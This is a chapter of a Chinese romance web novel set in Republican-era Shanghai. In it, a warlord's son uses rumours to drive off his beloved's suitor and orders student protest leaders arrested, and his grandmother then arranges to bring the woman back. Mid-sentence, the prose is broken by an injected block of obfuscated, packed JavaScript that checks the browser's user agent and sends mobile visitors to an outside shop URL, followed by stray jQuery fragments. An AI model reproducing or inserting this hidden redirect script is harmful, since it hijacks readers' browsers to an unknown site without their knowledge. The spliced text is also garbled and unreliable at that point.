司令部门口那家小饭馆开了十几年了，招牌上的红漆剥落了大半，只剩一个歪歪扭扭的“味”字还能认出来。
店面不大，拢共六张桌子，灶台就在门口，炒菜的时候油烟滚滚地往外涌，裹着葱姜蒜的香气，混着煤炉子的硫磺味，把半条街都熏得热腾腾的。
陈铭选了靠里的位置，背对着门口，面朝着墙壁。
面前摆着一碟花生米、一碟卤牛腱、一壶温过的黄酒。酒是绍兴来的，琥珀色的，倒在粗瓷碗里，浮着一层细密的泡沫。
对面坐着一个穿灰布棉袍的年轻人，戴着一副圆框眼镜，镜片上蒙着一层薄薄的水雾，看不清眼神。
他缩着脖子，双手捧着那碗黄酒，一口一口地抿着，像是在数酒液流过喉咙的每一点温度。
“我按你说的，把那几句话散出去了。”年轻人的声音压得很低，低得像怕隔壁桌的碗筷声会把它盖过去，“陆维桢那个人你也知道，书呆子一个，做什么事都一板一眼的。我假装不经意地提了一嘴‘听说许薇薇跟沈少帅好过，两人在帅府同居’，他当场脸色就变了，推说有事要走，饭都没吃完。”
陈铭夹了一粒花生米，搁在嘴里慢慢嚼着：“他还说了什么没有？”
“没说什么。就是脸色难看。”年轻人推了推眼镜，“不过依我看，他是信了。他不是那种会怀疑流言蜾语的人，他信报纸，信同事，信‘大家都这么说’的东西。你让我传的话他全听了，小报上关于许小姐的绯闻，我收拾文件的时候，也故意漏给他看了。”
陈铭从怀里掏出一个信封，搁在桌上，食指压着推过去：“办的不错，辛苦你了。这是少帅的一点心意。”
年轻人接过信封，捏了捏厚度，迅速地塞进了棉袍的内袋里。
他端起碗把最后一口黄酒灌下去，抹了把嘴：“陈副官，我跟你打交道不是一回两回了。沈少帅是个爽快人，我也乐意替他办事。不过有句话，我不知道该不该说。”
“你说。”
年轻人凑近了一些，声音压得更低了：“圣约翰大学的学生，最近在组织抗日游行。我听学生私下说，打算在法租界搞一次大的集会。”
陈铭的手指在桌面上停了一下。
“什么时候？”
“还没定。但风声已经传出来了，连物理系的学生都在传。”
陈铭沉默了几秒：“还有谁知道这件事？”
“应该还没传到司令部。学生那边口风挺紧的，我也是凑巧听到的。”
陈铭点了点头，又夹了一粒花生米，嚼着，像是在心里把这几句话翻来覆去地掂了好几遍。
年轻人见他不说话，识趣地站起来，拱了拱手：“陈副官，我先走了。以后有差事，只管叫人带话。”
他转身掀开门帘走了出去，棉袍的下摆扫过门槛，带起一阵细碎的尘土。饭馆里的热气跟着涌出去一团，又迅速被门帘截断了。
陈铭坐在原位，把那碟花生米一颗一颗地吃完，又慢慢喝完了碗里剩下的半碗黄酒。
他在心里过了好几遍，这才站起身，丢了两张钞票在桌上，掀帘走了出去。
街面上的风迎面扑来，吹得他一激灵，他眯了眯眼，脚步却没有慢下来。
陈铭回到司令部，在沈毅行办公室门口站定，敲了敲门。
“进来。”
沈毅行坐在办公桌后面，面前摊着一份军事地图，手指正沿着一条虚线慢慢移动，像是在测量什么东西的距离。
“少帅。”陈铭站在桌前，把军帽摘下来夹在腋下，“那边的事办妥了。”
沈毅行的手指在虚线末端停住了，然后收了回来，靠进椅背里，没有说话。
“还有一件事。”陈铭压低声音，“圣约翰大学的学生在组织抗日游行，打算在法租界搞一次大的集会。时间还没定，但风声已经传出来了。”
沈毅行的手指在桌面上轻轻叩了两下，像是在用节奏丈量一件事的分量。
“法租界。”他重复了一遍这三个字，“在老外的地盘上闹事，是想把事情搞大。到时候传出去，北平那边怎么交代？”
“少帅的意思是……”
“抓一批带头的，关几天，等风头过了再放。不要闹出人命，但也不能让他们觉得可以无法无天。”沈毅行站起来，走到窗前，看着窗外灰蒙蒙的天，“北平那边，大总统不愿意跟日本人撕破脸，他在这个位置上，有他的考量，我不评论。但申城是我的地盘，我不能让学生在我的地盘上闹出不可收拾的事。”
“那……要不要监视学生会……”
“盯紧一点就行。别等到闹起来了再去压，那就晚了。”
“明白。”
沈毅行想起北平来的电报。
大总统那边态度一直模糊，嘴上说“抗日是民心所向”，实际上每一次有学生闹事，他都让人压下去，压不下的就抓，抓不了的就想办法调走领头的人。
申城要是也闹起来，北平一定会发难。
大总统不会管你“是不是真的爱国”，他只看你“有没有给他惹麻烦”。
沈毅行的位置本来就坐得不稳，要是再惹出什么事，北平那边刚好借机往申城安插人手。
可他心里清楚，自己是抗日的。
日本人打了中国那么多年，他不是不想打，只是不能动。一动，就是南北交兵，那样他损失的可就多了。
“少帅？”陈铭试探着唤了一声。
沈毅行抬起头：“在游行之前把人抓了。不要闹大，抓三五个人，杀鸡儆猴，让学生自己散了就行了。”
“是。属下明白。”
“还有——”沈毅行顿了一下，“抓人的时候，别动圣约翰大学的教职员工。只抓学生，而且只抓领头的。给学校留面子。”
“是。”
沈毅行靠在椅背上，闭了一会儿眼睛。
陈铭站在那儿没有动，他知道少帅还有话要说。
果然，过了几秒，沈毅行睁开眼：“许薇薇那边呢？陆维桢跟她断了没有？”
“还没有确切消息，但据那人说，陆维桢信了那些话，按理应该会去找许小姐问清楚。以陆维桢那种性格，只要心里有了疑惑，多半也就断了。他是个死心眼的人，很介意这种事。”
沈毅行没有说话。
他心里有一块地方既踏实又空落落的。
踏实的是，许薇薇身边的男人被清理掉了。空落落的是，许薇薇还是没有回到他身边来。
陈铭犹豫了一下：“少帅，属下斗胆问一句——既然您这么在意许小姐，为什么不直接跟她把话说清楚？”
“说清楚？”沈毅行笑了一下，“怎么说？告诉她我派人跟踪她、散布她跟我同居的消息、拆散她的约会？然后她就会原谅我、跟我在一起了？你要是女人，你会吗？”
陈铭张了张嘴，没有接话。
“她恨我，我知道。但与其让她跟别人在一起，我宁可让她恨我。”
陈铭看了他一眼，没有再说什么，转身退了出去。
***
沈毅行回到帅府的时候，天色已经擦黑了。
正厅亮着灯，暖黄的光从雕花门扇的缝隙里渗出来，在青石台阶上铺了一小块。
他走过游廊时，听见正厅里传出说话声——是老太太。
他放慢了脚步，走进正厅。
老太太坐在太师椅上，腿上搭着一条灰蓝色的薄毯，手里捧着一只青花瓷茶碗，碗里的茶已经不怎么冒热气了。
她看了沈毅行一眼，把茶碗往旁边的小几上一搁，发出一声不轻不重的脆响。
“回来了？”
“回来了。奶奶今天感觉怎么样？入冬了，外面风大，您还是少出门。”
“不出门又怎样？在屋里待着也是待着，闷得很。”
沈毅行在老太太旁边的椅子上坐下来，给自己倒了一杯茶，握在手心里，暖了暖手指。
“宝呢？怎么没见他在院子里跑？”
“在楼上写大字。你给他请的那个先生，今天布置了一篇大字，他正愁眉苦脸地写呢。”
沉默了一会儿，老太太又开口了：“毅行，薇薇那姑娘，有多久没来过了？”
沈毅行握杯的手顿了一下。
“快三个月了。”
“三个月。”老太太重复了一遍这个数字，像是在心里称量了一下它的分量，“小宝前几天还在说，想许老师了。我说许老师忙，过阵子就来。小宝说，‘许老师不会来了，二叔把她气跑了。’唉！”
沈毅行没有说话。
“你这孩子啊，做什么事都莽莽撞撞的。好端端的一个姑娘，硬是被你气走了。你心里到底是什么想法？惦记她吗？还是说，已经放下了？”
沈毅行摇了摇头。
“放不下。”
“放不下就去追。”
沈毅行把茶杯放下：“奶奶，有些事，不是想追就能追回来的。”
“那你就去请。”老太太看着他，“你就去跟她说，奶奶想她了，想请她回来吃顿饭。你带上小宝一起去，孩子开口，她不会拒绝。”
沈毅行抬起头：“她不会见我的。”
“那你不会不让她见你？”老太太看着他，目光里有一种历经世事的通透，“让她来的时候，你不在。饭桌上只有我和小宝。她来看我，不是看你。等她来了，你再回来。她总不能当着我的面跟你吵架吧？”
沈毅行沉默了一会儿，嘴角慢慢浮起一个笑容。
“奶奶，您这是给我支招呢。”
“我是给我孙媳妇支招。”老太太端起茶碗，“你以为我看不出来？你那些所谓的计谋，只会把她推得更远。真正能让一个女人回心转意的，不是算计，是真心。”
“我让陈铭去办。明天就去。”
老太太从鼻子里哼出一个满意的音节，脸上皱纹舒展开来，像冬天的河面终于裂开了第一道纹。
第二天一早，陈铭出现在许薇薇公寓楼下的时候，天正下着细细的冷雨。雨丝很密，打在脸上像针尖轻轻扎着皮肤。
他撑着一把黑伞站在门洞里，领口竖起来，军靴鞋面上蒙了一层细密的水珠，在晨光里泛着暗沉的光。
小宝站在他旁边，穿了一件深蓝色的棉袄，领口系着一条红色的围巾，把他圆乎乎的脸衬得像一颗刚出炉的烤红薯。
“陈叔叔，许老师住这里吗？”小宝仰着头看那栋灰扑扑的小楼。
“嗯。”陈铭低头看了他一眼，“小宝，待会儿见到许老师，知道该说什么吗？”
小宝用力地点了点头：“知道。奶奶想她了，请她回去吃饭。”
“还有呢？”
小宝想了一下：“还有……二叔不在家。”
陈铭的嘴角抽动了一下：“对。这是最重要的一句。”
楼梯间很窄，水泥台阶被多年的人来人往磨得光滑发亮，扶手是铁的，漆面剥落了大半，露出下面暗沉的铁锈色。
陈铭牵着小宝的手，一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645173|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一步往上走。
许薇薇住在二楼，门是一扇老式的木门，漆面起了一层细密的裂纹，门框上方的玻璃窗透出里面暖黄色的光。
陈铭敲了敲门。
里面传来一阵脚步声，然后门被拉开了一条缝。
许薇薇出现在门缝后面，穿着一件藏青色的开衫毛衣，头发随意地扎成一束，搭在肩头。
她看见陈铭，脸上的表情立刻冷了下来：“陈副官，你来做什么？”
“许小姐，不是我要来——”陈铭往旁边让了让。
小宝从陈铭身后钻出来，仰着头，眼睛亮晶晶地看着她：“许老师！”
许薇薇愣了一下，紧绷的表情瞬间松开了：“小宝？你怎么来了？”
“奶奶说想你了，请你回去吃饭！”小宝一把抱住许薇薇的腿，“奶奶说，你很久没去看她了，她很想你。她还说，她做了你最爱吃的桂花糕！”
许薇薇蹲下来，平视着小宝：“是你奶奶让你来的，还是你二叔让你来的？”
“奶奶让我来的。”小宝认真地回答，又像想起什么重要的事，赶紧补了一句，“二叔不在家。他一早就去司令部了。”
许薇薇的目光越过小宝，落在陈铭脸上。
“许小姐，老太太年纪大了，这几天一直念叨您。小宝也天天问您什么时候来。您要是方便，就去看一眼，吃过午饭就回来。”
许薇薇看着小宝仰起的小脸，红围巾把他衬得像一团暖烘烘的小火苗。那双眼睛里的期待是装不出来的。
“好。我去。但我有个条件。”
“许小姐请说。”
“我不跟沈毅行同桌吃饭。要是他回来了，我立刻走。”
“我保证，少帅今天不会回来。今天司令部有重要会议，他午饭和晚饭都不回来吃。”
许薇薇低头看了一眼小宝，小宝用力地点了点头，像是想证明陈铭没有说谎。
她直起身：“等我换件衣服。”
门关上了。陈铭和小宝站在走廊里，外面雨丝斜斜地打在玻璃窗上，细细密密的，像永远停不下来。
五分钟后，许薇薇走了出来。
她换了一件藏青色的棉布旗袍，外面套了一件深灰色的大衣，围了一条米白色的围巾，头发重新梳过了，用一根别在脑后。
“走吧。”
“许老师，你还没吃早饭吧？”小宝兴冲冲地拉住她的手，“奶奶让厨房做了小笼包，还有银耳羹，都是你爱吃的！”
许薇薇笑了一下：“小宝，你怎么知道我爱吃什么？”
“奶奶告诉我的。奶奶说，要把你爱吃的都记住，这样你才会常来。”
冷雨还在下。三个人一前一后走出公寓，坐进了停在路边的那辆黑色福特轿车里。
车子驶入法租界的街道，雨刷在挡风玻璃上一左一右地摆动着，把雨水刮成两片透明的弧线。
许薇薇坐在后座，看着窗外的街景一帧一帧地向后退去，心里说不出是什么滋味。
她已经很久没有去过帅府了。
车子在帅府门口停下来。两扇黑漆大门敞开着，门口的台阶扫得干干净净，连一片落叶都没有。
许薇薇下了车，小宝拉着她的手：“许老师，快进来！奶奶在等我们！”
许薇薇被小宝拽着跨过门槛，走进院子里，老太太果然坐在正厅里，穿着一件深灰色的绸缎褂子，手里拄着拐杖，正朝门口张望。
看见许薇薇的身影出现在门口，老太太眼睛里的光像是被谁拧亮了一盏灯：“薇薇！快进来！外面冷！厨房煮了红糖姜茶，你喝一碗去去寒！”
许薇薇走进去，在老太太旁边的椅子上坐下来，双手被老太太握住了，暖的。
“瘦了。”老太太端详着她的脸，“比上次见的时候又瘦了一圈。是不是没好好吃饭？年轻人不要仗着身体好就胡乱折腾。该吃吃，该睡睡，身体才是自己的。”
“我吃着呢。就是最近事情多，忙瘦的。”许薇薇低头看着老太太握着她的手——那双干瘦的、布满老年斑的手，握得很紧。
“老太太，您手怎么这么凉？”
“老了，气血不足。”老太太摆摆手，“没事，死不了。倒是你——”
她顿了一下，看着许薇薇的眼睛：“薇薇，上次的事，是毅行不对，我都知道了。我不替他辩解。你做的是对的，走了也是应该的。要是我年轻的时候碰上这样的事，我也不能忍！”
许薇薇低下头，不知道该说什么。
“但他后来查清楚了，那个女人的孩子，是保定军校一个教官的，跟毅行没关系。”老太太拍了拍她的手背，“你走了以后，毅行把自己关在办公室里好几天，不吃饭，不说话，只是闷头抽烟。”
许薇薇沉默着。
“我不是替他说话。你们年轻人的事，我不掺和。但有一句话，我想跟你说——一个人的本性是很难改变的。毅行从小不会爱人，只会占有。如今他把你放在心上，也不知道怎么样才算是对你好。他一直在学习，只是学得慢。你给他一点时间。”
老太太讲的情真意切，许薇薇一时间竟然不知道该怎么回答了。
小宝端着一碟桂花糕跑过来：“许老师，你尝尝！我帮你拿的！”
许薇薇接过碟子，拿起一块桂花糕咬了一口。
——是热的。刚蒸出来，桂花的香气在舌尖上化开，甜而不腻，松软适中。
“好吃。”她说。
小宝咧嘴笑了起来。